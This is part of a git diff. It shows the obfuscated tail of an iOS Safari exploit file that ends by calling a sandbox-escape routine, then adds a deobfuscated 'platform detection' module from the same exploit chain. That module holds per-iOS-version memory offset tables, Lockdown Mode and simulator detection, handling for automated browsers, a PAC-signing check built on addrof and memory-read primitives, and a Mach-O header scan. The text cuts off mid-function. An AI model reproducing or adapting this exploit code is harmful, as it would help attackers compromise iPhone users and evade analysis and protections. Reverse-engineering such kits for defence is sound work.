76, 26, 82, 70, 85, 89, 81, 67, 91, 70, 95, 27, 121, 81, 80, 93, 85, 96, 91, 91, 88, 86, 91, 76].map(x => { + return String.fromCharCode(x ^ 52); + }).join("")), [(4294967296 + (1885753709 ^ -630566267)), (4294967296 + (1297641294 ^ -1614438049)), (4294967296 + (1382503252 ^ -2055710203))]), k = (963522678 ^ 963567110)), 0 === F) throw new Error(""); + q = N(F, A.pacia.bind(A), E); + let T = 0; + if (platformModule.platformState.iOSVersion >= (1915904596 ^ 1915812384) ? (T = U(([71, 59, 17, 27, 28, 13, 5, 71, 36, 1, 10, 26, 9, 26, 17, 71, 56, 26, 1, 30, 9, 28, 13, 46, 26, 9, 5, 13, 31, 7, 26, 3, 27, 71, 56, 9, 27, 27, 35, 1, 28, 43, 7, 26, 13, 70, 14, 26, 9, 5, 13, 31, 7, 26, 3, 71, 56, 9, 27, 27, 35, 1, 28, 43, 7, 26, 13].map(x => { + return String.fromCharCode(x ^ 104); + }).join("")), [(4294967296 + (1917544821 ^ -666867049)), (4294967296 + (1749119600 ^ -1160969919)), (4294967296 + (1194800755 ^ -1876410462))]), l = new Offset64((962539844 ^ 962548445), 0)) : platformModule.platformState.iOSVersion >= (1297756778 ^ 1297656442) ? (T = U(([26, 102, 76, 70, 65, 80, 88, 26, 121, 92, 87, 71, 84, 71, 76, 26, 101, 71, 92, 67, 84, 65, 80, 115, 71, 84, 88, 80, 66, 90, 71, 94, 70, 26, 116, 69, 69, 89, 80, 120, 80, 81, 92, 84, 102, 80, 71, 67, 92, 86, 80, 70, 27, 83, 71, 84, 88, 80, 66, 90, 71, 94, 26, 116, 69, 69, 89, 80, 120, 80, 81, 92, 84, 102, 80, 71, 67, 92, 86, 80, 70].map(x => { + return String.fromCharCode(x ^ 53); + }).join("")), [(4294967296 + (1599227241 ^ -178698613)), (4294967296 + (1852667756 ^ -1124683491)), (4294967296 + (1517506616 ^ -1922278935))]), l = new Offset64((809002358 ^ 809024325), 0)) : platformModule.platformState.iOSVersion >= (1516328278 ^ 1516447686) ? (T = U(([126, 2, 40, 34, 37, 52, 60, 126, 29, 56, 51, 35, 48, 35, 40, 126, 1, 35, 56, 39, 48, 37, 52, 23, 35, 48, 60, 52, 38, 62, 35, 58, 34, 126, 2, 33, 35, 56, 63, 54, 19, 62, 48, 35, 53, 127, 55, 35, 48, 60, 52, 38, 62, 35, 58, 126, 2, 33, 35, 56, 63, 54, 19, 62, 48, 35, 53].map(x => { + return String.fromCharCode(x ^ 81); + }).join("")), [(4294967296 + (1968197987 ^ -547401087)), (4294967296 + (1162700652 ^ -1747037795)), (4294967296 + (1700285543 ^ -1303951946))]), l = new Offset64((2003448912 ^ 2003480039), 0)) : platformModule.platformState.iOSVersion >= (1900894535 ^ 1901013063) ? (T = U(([68, 56, 18, 24, 31, 14, 6, 68, 39, 2, 9, 25, 10, 25, 18, 68, 45, 25, 10, 6, 14, 28, 4, 25, 0, 24, 68, 40, 4, 25, 14, 38, 39, 69, 13, 25, 10, 6, 14, 28, 4, 25, 0, 68, 40, 4, 25, 14, 38, 39].map(x => { + return String.fromCharCode(x ^ 107); + }).join("")), [(4294967296 + (1701801329 ^ -815763821)), (1312107863 ^ 482233914), (1932670550 ^ 26677147), (4294967296 + (2004503141 ^ -579647093)), (4294967296 + (1851214659 ^ -1126873038)), (4294967296 + (1127437425 ^ -1809031712))]), l = new Offset64((1196578646 ^ 1196574541), 0)) : (T = U(([22, 106, 64, 74, 77, 92, 84, 22, 117, 80, 91, 75, 88, 75, 64, 22, 127, 75, 88, 84, 92, 78, 86, 75, 82, 74, 22, 116, 92, 93, 80, 88, 109, 86, 86, 85, 91, 86, 65, 23, 95, 75, 88, 84, 92, 78, 86, 75, 82, 22, 116, 92, 93, 80, 88, 109, 86, 86, 85, 91, 86, 65].map(x => { + return String.fromCharCode(x ^ 57); + }).join("")), [(4294967296 + (1752651602 ^ -1032301392)), (4294967296 + (1383293780 ^ -125869892)), (4294967296 + (1231444090 ^ -1678010773)), (4294967296 + (1599484489 ^ -2008466664))]), l = new Offset64((1481472607 ^ 1481479215), 0)), 0 === T) throw new Error(""); + s = N(T, A.pacia.bind(A), E), L = N(A.La.Dt().yt(), A.pacda.bind(A), k), R = N(A.Xa.Dt().yt(), A.pacda.bind(A), k), c = N(A.Ga.Dt().yt(), A.pacda.bind(A), k), V = N(A.Ma.Dt().yt(), A.pacda.bind(A), k); + const S = Q.Jh(([99, 57, 63, 62, 99, 32, 37, 46, 99, 63, 53, 63, 56, 41, 33, 99, 32, 37, 46, 40, 53, 32, 40, 98, 40, 53, 32, 37, 46].map(x => { + return String.fromCharCode(x ^ 76); + }).join(""))).dlsym(([34, 42, 53, 63, 43].map(x => { + return String.fromCharCode(x ^ 70); + }).join(""))); + K = new Offset64(S >>> 0, S / 4294967296 >>> 0) + } + return 0 === this.cA.length && (g = 0), I = CA(S, o, 0, E, 2 * this.oA.length, N, U, F, G, k, T, L, R, c, V, H, q, s, l, K, Y, J, i), this.oA + I + this.cA + this.xA + this.OA + this.KA + this.iA + } +} +return r.lA = () => { + const A = globalThis.moduleManager.getModuleByName(([30, 24, 75, 78, 72, 72, 78, 30, 20, 78, 72, 76, 73, 75, 21, 79, 20, 30, 79, 76, 30, 76, 31, 20, 75, 72, 25, 27, 25, 30, 78, 79, 31, 24, 20, 20, 25, 24, 24, 21].map(x => { + return String.fromCharCode(x ^ 45); + }).join(""))); + return A._d(), A.qd(), executeSandboxEscape() +}, r; \ No newline at end of file diff --git a/platform_module.js b/platform_module.js new file mode 100644 index 0000000..4d0fd61 --- /dev/null +++ b/platform_module.js @@ -0,0 +1,1105 @@ +/** + * Platform Detection Module (Deobfuscated) + * Original module hash: "14669ca3b1519ba2a8f40be287f646d4d7593eb0" + * + * This module is responsible for: + * 1. Detecting the iOS version from the browser user agent string + * 2. Selecting version-specific offsets and feature flags based on the detected version + * 3. Detecting Lockdown Mode (via IndexedDB Blob URL test) + * 4. Detecting the iOS Simulator (via lockdown-mode CSS check) + * 5. Determining the runtime type (LTgSl5 / PSNMWj / RoAZdq) based on + * the Mach-O CPU type found in the JSC memory region + * 6. Providing PAC (Pointer Authentication Code) integrity checking + * + * Runtime names correspond to exploit primitive configurations: + * - "LTgSl5" : Initial default, set during init(). Used when CPU_TYPE_X86_64 is detected. + * Throws an error if still set after detectRuntime(), as it indicates simulator. + * - "RoAZdq" : Selected when CPU_TYPE_X86_64 (0x01000007) Mach-O is found (refined offsets). + * - "PSNMWj" : Selected when CPU_TYPE_ARM64 (0x0100000C) Mach-O is found (iOS device offsets). + */ + +let m_14669ca3b1519ba2a8f40be287f646d4d7593eb0 = () => { + let r = {}; + + /** + * Module dependency: "57620206d62079baad0e57e6d9ec93120c0f5247" + * This is the utility module, imported twice: + * - `x` is the full export (used for x.Int64.fromNumber() - likely a BigInt utility) + * - `G` is destructured as { N: G } (the N export from utility module) + */ + const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + // { N: G } = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + + /** + * Platform state object - central state store for the exploit's platform knowledge. + * All platform detection results, offsets, and runtime primitives are stored here. + */ + platformState = { + /** @type {string|null} navigator.platform value (e.g. "MacIntel", "iPhone") */ + platform: null, + + /** @type {string|null} navigator.userAgent string */ + userAgent: null, + + /** @type {string} Detected browser type ("safari" or error) */ + browserType: "", + + /** @type {string} Runtime identifier: "LTgSl5", "PSNMWj", or "RoAZdq" */ + runtime: "", + + /** @type {number} Numeric iOS version (e.g. 170200 = iOS 17.2.0) */ + iOSVersion: 0, + + /** @type {*} Reserved / generation field */ + Gn: null, + + /** @type {number} Reserved numeric field */ + Fn: 0, + + /** @type {boolean} Whether PAC (Pointer Authentication) is enabled */ + hasPAC: false, + + /** @type {boolean|undefined} Lockdown Mode detection result */ + _n: undefined, + + /** @type {*} JSC memory base address (BigInt pointer) */ + yn: null, + + /** @type {string} Telemetry string 1 (passed from caller) */ + Tn: "", + + /** @type {string} Telemetry string 2 (passed from caller) */ + pn: "", + + /** @type {string} Telemetry string 3 (passed from caller) */ + Kn: "", + + /** @type {boolean} Whether to allow webdriver (navigator.webdriver) */ + allowWebdriver: false, + + /** @type {boolean} Secondary flag passed from caller */ + Pn: false, + + /** @type {Object} Version-specific offsets and feature flags */ + versionFlags: {}, + + /** @type {*} Mach-O parser instance */ + machOParser: null, + + /** @type {*} Exploit read/write primitive object */ + exploitPrimitive: null, + + /** @type {*} Reserved state field */ + Dn: null, + + /** @type {*} Reserved nullable state field */ + Ln: null, + + /** @type {*} Caller reference */ + caller: null, + + /** @type {*} Reserved nullable state field */ + Wn: null, + + /** @type {*} Reserved nullable state field */ + Zn: null, + + /** @type {*} PAC bypass primitive */ + pacBypass: null, + + /** @type {*} Reserved nullable state field */ + jn: null, + + /** @type {*} SandboxEscape primitive */ + sandboxEscape: null, + + /** @type {*} Reserved nullable state field */ + Jn: null, + + /** @type {*} Cached lockdown detection result (Promise result) */ + kn: null, + + /** @type {*} Cached simulator detection result (Promise result) */ + Qn: null, + + /** @type {boolean} Reserved boolean flag */ + qn: false + }; + r.zn = r.platformState = platformState; + + // ========================================================================= + // VERSION-SPECIFIC OFFSET TABLES + // ========================================================================= + // + // Each runtime has an array of offset entries ordered from highest version + // threshold (minVersion / GFx77t) to lowest. The applyVersionOffsets() + // function reverses the array, starts with the lowest-version entry as + // the base, then merges entries whose minVersion exceeds the detected + // iOS version, effectively building up the correct offset set for the + // running iOS version. + // + // Property names (e.g. TryHSU, ZHsObe, etc.) are opaque keys used + // throughout the exploit chain to look up specific struct offsets, + // feature flags, and size constants. + // ========================================================================= + + const versionOffsetTable = { + + /** + * LTgSl5 offsets - used as the initial runtime. + * If CPU_TYPE_X86_64 is detected, this runtime is flagged as error (simulator). + * Entries ordered from highest minVersion to lowest. + */ + LTgSl5: [ + { + /* minVersion */GFx77t: 170300, + JtEUci: false + }, + { + /* minVersion */GFx77t: 170200, + wC3yaB: true, + wYk8Jg: true + }, + { + /* minVersion */GFx77t: 170000, + UPk5PY: 96, + ZHsObe: 104 + }, + { + /* minVersion */GFx77t: 160600, + JtEUci: true, + KeCRDQ: false, + NfRtuR: 112, + DjRSp0: 8, + LVt9Wy: 24, + PfAPxk: 768, + JGRSu4: 144, + vqbEzc: 96, + jtUNKB: 16, + MJf4mX: 328, + zPL1kr: 472, + yjShKn: 512, + ga3074: 520, + oHmyQl: 664, + PCsIV0: 8, + vnu2oq: 0, + attyap: 4, + FGsnBi: 12, + pUvASJ: 16, + sMuYjH: 20, + KSrWFg: 3, + msD22k: 32, + LM9blg: 48, + SAobkS: 16, + TLJcwX: 44, + kA39V6: 48, + OaAnPR: 56, + qRQJn0: 32, + oBPlWp: 64 + }, + { + /* minVersion */GFx77t: 160400, + cyTrSt: 176, + UPk5PY: 88, + ZHsObe: 96 + }, + { + /* minVersion */GFx77t: 160200, + KeCRDQ: true, + ShQCsB: false, + TryHSU: 16, + FFwSQ4: 64, + hYaJ7z: 24, + JIIaFf: 16, + kQj6yR: 32, + dvuEmf: 28, + uLSxli: 24, + wA6rmI: 8, + iWQGB1: 16 + }, + { + /* minVersion */GFx77t: 150600, + ShQCsB: true, + RbKS6p: false + }, + { + /* minVersion */GFx77t: 150400, + xK8SW0: 64 + }, + { + /* minVersion */GFx77t: 150200, + RbKS6p: true, + mmrZ0r: false + }, + { + /* minVersion */GFx77t: 130006, + zpy6Mu: 16 + }, + { + /* minVersion */GFx77t: 130001, + zpy6Mu: 24, + xK8SW0: 72 + }, + { + /* minVersion */GFx77t: 110000, + mmrZ0r: true, + RbKS6p: false, + ShQCsB: false, + KeCRDQ: false, + xK8SW0: 64, + zpy6Mu: 24, + KaU4Z7: 24, + oGn3OG: 16, + CN3rr_: 16, + EMDU4o: 0, + fGOrHX: 16, + QwY9S3: false, + wC3yaB: false + }, + { + /* minVersion */GFx77t: 100000, + sKfNmf: false + }], + + + /** + * PSNMWj offsets - selected when CPU_TYPE_ARM64 (0x0100000C) Mach-O is found. + * This is the primary iOS device runtime with the most detailed offset table. + */ + PSNMWj: [ + { + /* minVersion */GFx77t: 170000, + wF8NpI: true, + CpDW_T: false, + LJ1EuL: false, + QwxZcT: false, + IqxL92: false + }, + { + /* minVersion */GFx77t: 160600, + LJ1EuL: true + }, + { + /* minVersion */GFx77t: 160300, + CpDW_T: true, + QwxZcT: false, + IqxL92: false, + KJy28q: 16, + JocAcH: 328, + Kx7EsT: 472, + Wr7XGb: 512, + GANQhD: 520, + PR7o33: 664, + YXGv5g: 8, + jV_CXG: 0, + Itxnt2: 4, + ctnJOf: 12, + ZU88w_: 16, + qfMZYC: 20, + tIQDib: 3, + DqxT1K: 32, + vso7lF: 48, + XuTBrC: 16, + TG9DBr: 44, + eEkK60: 48, + qDuMzc: 56, + YNgf0L: 32, + wSYvOp: 112, + gFT0ks: 8, + xjqua8: 24 + }, + { + /* minVersion */GFx77t: 160000, + QwxZcT: true + }, + { + /* minVersion */GFx77t: 150600, + juV600: true, + Lg4V8D: true + }, + { + /* minVersion */GFx77t: 150500, + ptTH_q: false, + kEXt5Z: 464, + RNiPoX: 1048575, + MhLcu0: 256 + }, + { + /* minVersion */GFx77t: 150400, + NUFCII: true, + jY1sqq: 224, + sKfNmf: true, + wU9pm_: 48 + }, + { + /* minVersion */GFx77t: 150100, + rD3mNF: 5 + }, + { + /* minVersion */GFx77t: 150000, + IqxL92: true, + OwGD0F: true, + IsjfuV: false, + OaAgtr: 8, + rvXShf: 48 + }, + { + /* minVersion */GFx77t: 140102, + IsjfuV: true, + PIQrsf: 216 + }, + { + /* minVersion */GFx77t: 140100, + KrBQWx: 140, + Kmb3Lc: 21 + }, + { + /* minVersion */GFx77t: 140003, + TyPY6G: true, + NUd9MZ: 208, + dzBoEE: 312, + cxrfKw: 168 + }, + { + /* minVersion */GFx77t: 140000, + PgkJIA: true, + DXnm2a: 568, + wU9pm_: 40 + }, + { + /* minVersion */GFx77t: 130100, + KaU4Z7: 16, + xlJ9NK: false, + rvXShf: 56 + }, + { + /* minVersion */GFx77t: 130001, + KaU4Z7: 24, + rvXShf: 64 + }, + { + /* minVersion */GFx77t: 130000, + xlJ9NK: true + }, + { + /* minVersion */GFx77t: 120000, + zpy6Mu: 16, + KaU4Z7: 16, + rvXShf: 56 + }, + { + /* minVersion */GFx77t: 110000, + iNLXaz: 8, + xK8SW0: 72 + }, + { + /* minVersion: base entry for all versions >= 100000 */ + GFx77t: 100000, + QwxZcT: false, + juV600: false, + Lg4V8D: false, + cxrfKw: 168, + oGn3OG: 16, + NUFCII: false, + CN3rr_: 16, + fGOrHX: 16, + EMDU4o: 0, + Ps7Z2u: 24, + iNLXaz: 24, + KaU4Z7: 24, + ZiIyeM: 24, + zpy6Mu: 24, + xK8SW0: 80, + rvXShf: 64, + VTwyJG: 32, + VEwXfI: 40, + zohDDd: true, + DXnm2a: 560, + PgkJIA: false, + xlJ9NK: false, + TyPY6G: false, + dzBoEE: 168, + SiBW7G: 8, + PyEQqC: 56, + iBTCSN: 200, + csgakW: 204, + ydHN48: 0, + KrBQWx: 128, + Kmb3Lc: 1, + IsjfuV: false, + IqxL92: false, + OwGD0F: false, + rD3mNF: 7, + ptTH_q: false, + MhLcu0: 232 + }], + + + /** + * RoAZdq offsets - selected when CPU_TYPE_X86_64 (0x01000007) Mach-O is found. + * This is a smaller table with refinements on top of the PSNMWj base. + */ + RoAZdq: [ + { + /* minVersion */GFx77t: 150000, + rvXShf: 48 + }, + { + /* minVersion */GFx77t: 130006, + rvXShf: 56 + }, + { + /* minVersion */GFx77t: 120000, + zpy6Mu: 16, + KaU4Z7: 16 + }, + { + /* minVersion */GFx77t: 110000, + iNLXaz: 8, + xK8SW0: 72 + }, + { + /* minVersion: base entry for all versions >= 100000 */ + GFx77t: 100000, + oGn3OG: 16, + CN3rr_: 16, + rvXShf: 64, + fGOrHX: 16, + EMDU4o: 0, + csgakW: 204, + iBTCSN: 200, + Ps7Z2u: 24, + iNLXaz: 24, + KaU4Z7: 24, + ZiIyeM: 24, + zpy6Mu: 24, + dzBoEE: 168, + SiBW7G: 8, + xK8SW0: 64, + VTwyJG: 32, + VEwXfI: 40, + zohDDd: false, + DXnm2a: 560, + PgkJIA: false + }] + + }; + + // ========================================================================= + // LOCKDOWN MODE DETECTION + // ========================================================================= + + /** + * Synchronous check for Lockdown Mode. + * + * On desktop Safari (platform === "MacIntel"), Lockdown Mode is inferred + * by checking whether the "TouchEvent" constructor exists on the window + * object. If the platform is "MacIntel" and TouchEvent is absent, Lockdown + * Mode is assumed to be active. + * + * The result is cached in platformState.isLockdownMode after the first call. + * + * @returns {boolean} true if Lockdown Mode is detected + */ + function checkLockdownMode() { + let t = false; + return undefined === platformState._n ? ( + + "MacIntel" === platformState.platform && + -1 === Object.getOwnPropertyNames(window).indexOf("TouchEvent") && ( + t = true), + platformState._n = t) : + + t = platformState._n, + t; + } + + // ========================================================================= + // VERSION OFFSET APPLICATION + // ========================================================================= + + /** + * Apply version-specific offsets to platformState.versionFlags. + * + * The offset table for the current runtime is reversed (so it goes from + * lowest minVersion to highest). The first entry becomes the base, and + * subsequent entries whose minVersion exceeds the detected iOS version + * cause the loop to break - meaning only entries with minVersion <= xn + * are merged in. + * + * This builds up the correct set of offsets and feature flags for the + * exact iOS version running on the device. + */ + function applyVersionOffsets() { + const t = versionOffsetTable[platformState.runtime].reverse(); + let n = Object.assign(platformState.versionFlags, t[0]); + for (const r of t.slice(1)) { + if (r.GFx77t > platformState.iOSVersion) break; + n = Object.assign(n, r); + } + platformState.versionFlags = n; + } + + // ========================================================================= + // EXPORTED FUNCTIONS + // ========================================================================= + + /** + * Check if Lockdown Mode is active. + * @returns {boolean} + */ + r.On = checkLockdownMode; + + /** + * Check if Lockdown Mode is active AND the runtime is "RoAZdq". + * This combination indicates lockdown mode on a Safari/x86_64 target. + * @returns {boolean} + */ + r.Vn = function () { + return checkLockdownMode() && "RoAZdq" === platformState.runtime; + }; + + /** + * Get the exploit read/write primitive. Throws if not yet initialized. + * @returns {*} The exploit primitive object (provides tr, nr, rr, ir methods) + */ + r.exploitPrimitive = function () { + if (null === platformState.exploitPrimitive) throw new Error("null === platformState.exploitPrimitive"); + return platformState.exploitPrimitive; + }; + + /** + * Asynchronously detect Lockdown Mode using multiple strategies: + * + * 1. If navigator.webdriver is true and En is false, throws an error. + * If En is true, resolves false (not lockdown). + * + * 2. If navigator.maxTouchPoints is defined (modern iOS): + * - Opens a temporary IndexedDB database + * - Attempts to store a Blob in an object store named "test" + * - If BlobURLs are not supported (Lockdown Mode restriction), the + * operation throws with a message matching /BlobURLs are not yet supported/ + * - This is the primary lockdown detection signal + * + * 3. If navigator.maxTouchPoints is undefined (older iOS / desktop): + * - Tests window.openDatabase (WebSQL) - if it throws, lockdown is active + * - Tests localStorage.setItem/removeItem with key "test" - if it throws, + * lockdown is active + * + * Results are cached in platformState.kn. + * Times out after 5000ms, defaulting to false. + * + * @returns {Promise} true if Lockdown Mode is detected + */ + r.Yn = async function () { + if (null !== platformState.kn) return platformState.kn; + { + const t = new Promise(function (t, n) { + let r = false; + + function o(n) { + r = true; + t(n); + } + + if (true === navigator.webdriver) { + //if (!platformState.allowWebdriver) throw new Error("!platformState.allowWebdriver"); + o(false); + } else if (undefined !== navigator.maxTouchPoints) { + /* Modern iOS: IndexedDB Blob URL test */ + (function () { + const t = String(Math.random()); + try { + window.indexedDB.open(t, 1).onupgradeneeded = function (n) { + let r; + const e = + null === (r = n.target) || undefined === r ? + undefined : + r.result; + try { + e.createObjectStore("test", { + autoIncrement: true + }).put(new Blob()); + o(false); + } catch (t) { + let n, + r = t; + if (t instanceof Error) { + r = null !== (n = t.message) && undefined !== n ? n : t; + } + return "string" != typeof r ? + o(false) : + o(/BlobURLs are not yet supported/.test(r)); + } finally { + e.close(); + window.indexedDB.deleteDatabase(t); + } + }; + } catch (t) { + return o(false); + } + })(); + } else { + /* Older iOS / desktop: WebSQL + localStorage test */ + (function () { + const t = window.openDatabase, + n = window.localStorage; + try { + t(null, null, null, null); + } catch (t) { + return o(true); + } + try { + n.setItem("test", "1"); + n.removeItem("test"); + } catch (t) { + return o(true); + } + o(false); + })(); + } + + /* Timeout fallback: resolve false after 5000ms */ + setTimeout(function () { + r || t(false); + }, 5000); + }); + return platformState.kn = await t, platformState.kn; + } + }; + + /** + * Asynchronously detect iOS Simulator. + * + * The detection uses a multi-signal approach: + * 1. Checks for the presence of WebRTC-related globals that should not + * exist in certain simulator builds: + * - "mozRTCPeerConnection" + * - "RTCPeerConnection" + * - "webkitRTCPeerConnection" + * - "RTCIceGatherer" + * + * 2. Checks for the absence of WebGLRenderingContext (simulators may + * not support WebGL). + * + * 3. Performs a CSS Lockdown Mode heuristic: + * - Injects a

    with id "ldm_mml_t" containing a MathML element + * with mathcolor="blue" and content "14" + * - Reads the computed color of the inner element + * - If the color is NOT "rgb(0, 0, 255)" (blue), it indicates + * Lockdown Mode is active (MathML is restricted), which means + * this is NOT a simulator + * + * The result is true if the environment is NOT a simulator. + * Results are cached in platformState.Qn. + * + * @returns {Promise} true if NOT a simulator + */ + r.Hn = async function () { + if (null !== platformState.Qn) return platformState.Qn; + { + const t = new Promise(function (t, n) { + return t( + !( + [ + "mozRTCPeerConnection", + "RTCPeerConnection", + "webkitRTCPeerConnection", + "RTCIceGatherer"]. + some((t) => t in globalThis) && + !globalThis.WebGLRenderingContext && + !function () { + const t = "ldm_mml_t", + n = document.createElement("div"); + n.setAttribute("id", t); + n.innerHTML = + '14'; + const r = + undefined !== document.body ? + document.body : + document.firstChild; + r.appendChild(n); + const o = + "rgb(0, 0, 255)" === + globalThis.getComputedStyle( + n.firstChild.firstChild, + null + ).color; + return r.removeChild(document.getElementById(t)), o; + }()) + + ); + }); + return platformState.Qn = await t, platformState.Qn; + } + }; + + /** + * Asynchronously detect iOS Simulator. + * + * The detection uses a multi-signal approach: + * 1. Checks for the presence of WebRTC-related globals that should not + * exist in certain simulator builds: + * - "mozRTCPeerConnection" + * - "RTCPeerConnection" + * - "webkitRTCPeerConnection" + * - "RTCIceGatherer" + * + * 2. Checks for the absence of WebGLRenderingContext (simulators may + * not support WebGL). + * + * 3. Performs a CSS Lockdown Mode heuristic: + * - Injects a
    with id "ldm_mml_t" containing a MathML element + * with mathcolor="blue" and content "14" + * - Reads the computed color of the inner element + * - If the color is NOT "rgb(0, 0, 255)" (blue), it indicates + * Lockdown Mode is active (MathML is restricted), which means + * this is NOT a simulator + * + * The result is true if the environment is NOT a simulator. + * Results are cached in platformState.Qn. + * + * @returns {Promise} true if NOT a simulator + */ + r.Hn = async function () { + if (null !== platformState.Qn) return platformState.Qn; + { + const t = new Promise(function (t, n) { + return t(![ + "mozRTCPeerConnection", + "RTCPeerConnection", + "webkitRTCPeerConnection", + "RTCIceGatherer"]. + some((t) => t in globalThis) && + !globalThis.WebGLRenderingContext && !function () { + const t = "ldm_mml_t", + n = document.createElement("div"); + n.setAttribute("id", t); + n.innerHTML = + '14'; + const r = + undefined !== document.body ? + document.body : + document.firstChild; + r.appendChild(n); + const o = + "rgb(0, 0, 255)" === + globalThis.getComputedStyle( + n.firstChild.firstChild, + null + ).color; + return r.removeChild(document.getElementById(t)), o; + }()); + }); + return platformState.Qn = await t, platformState.Qn; + } + }; + + /** + * Check PAC (Pointer Authentication Code) integrity. + * + * This function creates a small WebAssembly module with two exported + * functions (i32.add and i32.sub) and verifies that their function + * pointers maintain PAC integrity through the exploit's read/write + * primitive. + * + * The WASM module (hex: 0061736d 01000000...): + * - Type section: one function type (i32, i32) -> i32 + * - Function section: two functions of that type + * - Export section: exports "a" (i32.add) and "b" (i32.sub) + * + * For each exported function: + * 1. Reads the JSObject pointer via Xn.addrof() + * 2. Reads the native function pointer at JSObject + offsets.rvXShf + * 3. Uses Xn.readInt64FromOffset() to read the raw pointer + * 4. Extracts the data portion (o.Dt()) + * 5. Signs it with the PAC bypass (Mn.pacia()) using context 0x24AD + * 6. Compares the re-signed pointer with the original (o.lt()) + * + * If PAC is enabled (platformState.hasPAC) and sKfNmf flag is true, + * the function performs the integrity check. Returns true if any + * function pointer fails the PAC round-trip (indicating PAC bypass + * issues). + * + * @returns {Promise} true if PAC integrity check fails + */ + r.$n = async function () { + if (undefined === platformState.exploitPrimitive) throw new Error("undefined === platformState.exploitPrimitive"); + if (undefined === platformState.pacBypass) throw new Error("undefined === platformState.pacBypass"); + + /** PAC signing context value: 0x24AD = 9389 */ + const t = utilityModule.Int64.fromNumber(9389); + + function n(n) { + const r = function (t) { + const n = platformState.exploitPrimitive.addrof(t); + return platformState.exploitPrimitive.readRawBigInt( + n + + globalThis.moduleManager.getModuleByName( + "14669ca3b1519ba2a8f40be287f646d4d7593eb0" + ).platformState.versionFlags.rvXShf + ); + }(n), + o = platformState.exploitPrimitive.readInt64FromOffset(r); + return platformState.pacBypass.pacia(o.Dt(), t).lt(o); + } + + if ( + platformState.hasPAC && + true === + globalThis.moduleManager.getModuleByName( + "14669ca3b1519ba2a8f40be287f646d4d7593eb0" + ).platformState.versionFlags.sKfNmf) + { + /** + * WebAssembly module bytes (decoded): + * Magic: \0asm (00 61 73 6d) + * Version: 1 + * Type section: 1 func type (i32, i32) -> i32 + * Function section: 2 functions + * Export section: "a" = func 0, "b" = func 1 + * Code section: + * func 0: local.get 0, local.get 1, i32.add (0x6A) + * func 1: local.get 0, local.get 1, i32.sub (0x6B) + */ + const t = new Uint8Array([ + 0, 97, 115, 109, // \0asm magic + 1, 0, 0, 0, // version 1 + 1, 7, 1, 96, // type section: 1 func type + 2, 127, 127, // params: i32, i32 + 1, 127, // results: i32 + 3, 3, 2, 0, 0, // function section: 2 funcs, both type 0 + 7, 9, 2, // export section: 2 exports + 1, 97, 0, 0, // "a" -> func 0 + 1, 98, 0, 1, // "b" -> func 1 + 10, 17, 2, // code section: 2 function bodies + 7, 0, // func 0: size=7, 0 locals + 32, 0, 32, 1, // local.get 0, local.get 1 + 106, // i32.add + 11, // end + 7, 0, // func 1: size=7, 0 locals + 32, 0, 32, 1, // local.get 0, local.get 1 + 107, // i32.sub + 11 // end + ]).buffer; + + const r = new WebAssembly.Module(t, {}), + o = new WebAssembly.Instance(r, {}), + e = o.exports.a, + l = o.exports.b; + return !n(e) || !n(l); + } + return false; + }; + + /** + * Initialize the platform module. + * + * Parses the user agent string to determine iOS version and browser type, + * stores telemetry parameters, sets the initial runtime to "LTgSl5", + * and applies version-specific offsets. + * + * Supported user agent formats: + * - "Version/X.Y.Z" (standard Safari) + * - "MobileStore/1.0" + "iOS/X.Y.Z" (alternative Safari wrapper) + * - "iPhone OS X_Y_Z" (fallback UA parsing) + * + * Only "safari" browser type is accepted; other browsers cause an error. + * + * @param {string} fixedMachOVal3 - Telemetry string 1 (Tn) + * @param {string} fixedMachOVal1 - Telemetry string 2 (pn) + * @param {string} fixedMachOVal2 - Telemetry string 3 (Kn) + * @param {boolean} o - Allow webdriver flag (En) + * @param {boolean} e - Secondary flag (Pn / Pn) + * @param {string} l - navigator.platform value + * @param {string} i - navigator.userAgent string + */ + r.init = function (fixedMachOVal3, fixedMachOVal1, fixedMachOVal2, o, e, l, i) { + function c(t) { + return 1 === t.length ? "0" + t : t; + } + + platformState.fixedMachOVal3 = fixedMachOVal3; + platformState.fixedMachOVal1 = fixedMachOVal1; + platformState.fixedMachOVal2 = fixedMachOVal2; + platformState.allowWebdriver = o; + platformState.Pn = e; + platformState.platform = l; + + /* Detect browser type from user agent */ + if (i.match(/Version/)) { + platformState.browserType = "safari"; + } else { + if (!i.match(/AppleWebKit\//)) + throw new Error("!i.match(/AppleWebKit\//)"); + platformState.browserType = "safari"; + } + + /* Only Safari is supported */ + if ("safari" !== platformState.browserType) throw new Error("safari !== platformState.browserType"); + + /* Parse iOS version from user agent */ + let u = i.match(/Version\/(\d+)\.(\d+)(?:\.(\d+))?/); + + /* Fallback: check for "MobileStore/1.0" wrapper format */ + if (null === u && i.startsWith("MobileStore/1.0")) { + u = i.match(/iOS\/(\d+)\.(\d+)(?:\.(\d+))?/); + } + + /* Fallback: check for "iPhone OS X_Y_Z" format */ + if (null === u && i.match(/iPhone OS \d+_\d+(?:_\d+)?/)) { + u = i.match(/iPhone OS (\d+)_(\d+)(?:_(\d+))?/); + } + + if (null === u) throw new Error("null === u"); + + /** + * Convert version components to a 6-digit numeric format: + * major(2) + minor(2) + patch(2) + * e.g. iOS 17.2.0 -> "170200" -> 170200 + */ + const a = parseInt(c(u[1]) + c(u[2]) + (u[3] ? c(u[3]) : "00"), 10); + + platformState.iOSVersion = a; + + /* Set initial runtime to "LTgSl5" */ + platformState.runtime = "LTgSl5"; + + /* Apply version-specific offsets for the initial runtime */ + applyVersionOffsets(); + }; + + /** + * Detect the actual runtime by scanning JSC memory for Mach-O headers. + * + * This function: + * 1. Reads the JSObject pointers for WebAssembly.Table and + * WebAssembly.Instance to determine if PAC is enabled (their + * tagged pointers will differ if PAC signing is active). + * + * 2. Page-aligns the pointer and scans backward through memory in + * 4096-byte (page-size) increments looking for the Mach-O 64-bit + * magic number 0xFEEDFACF. + * + * 3. Reads the CPU type field at offset +4 from the Mach-O header: + * - 0x01000007 (CPU_TYPE_X86_64) -> runtime = "RoAZdq" + * - 0x0100000C (CPU_TYPE_ARM64) -> runtime = "PSNMWj" + * + * 4. Stores the Mach-O header address as platformState.yn. + * + * 5. If the runtime is still "LTgSl5" after detection, throws an error + * (this would indicate a simulator or unsupported environment). + * + * 6. Re-applies version offsets for the newly detected runtime and + * freezes the offsets object. + */ + r.lr = function () { + const t = (t) => { + if (undefined === platformState.exploitPrimitive) throw new Error("undefined 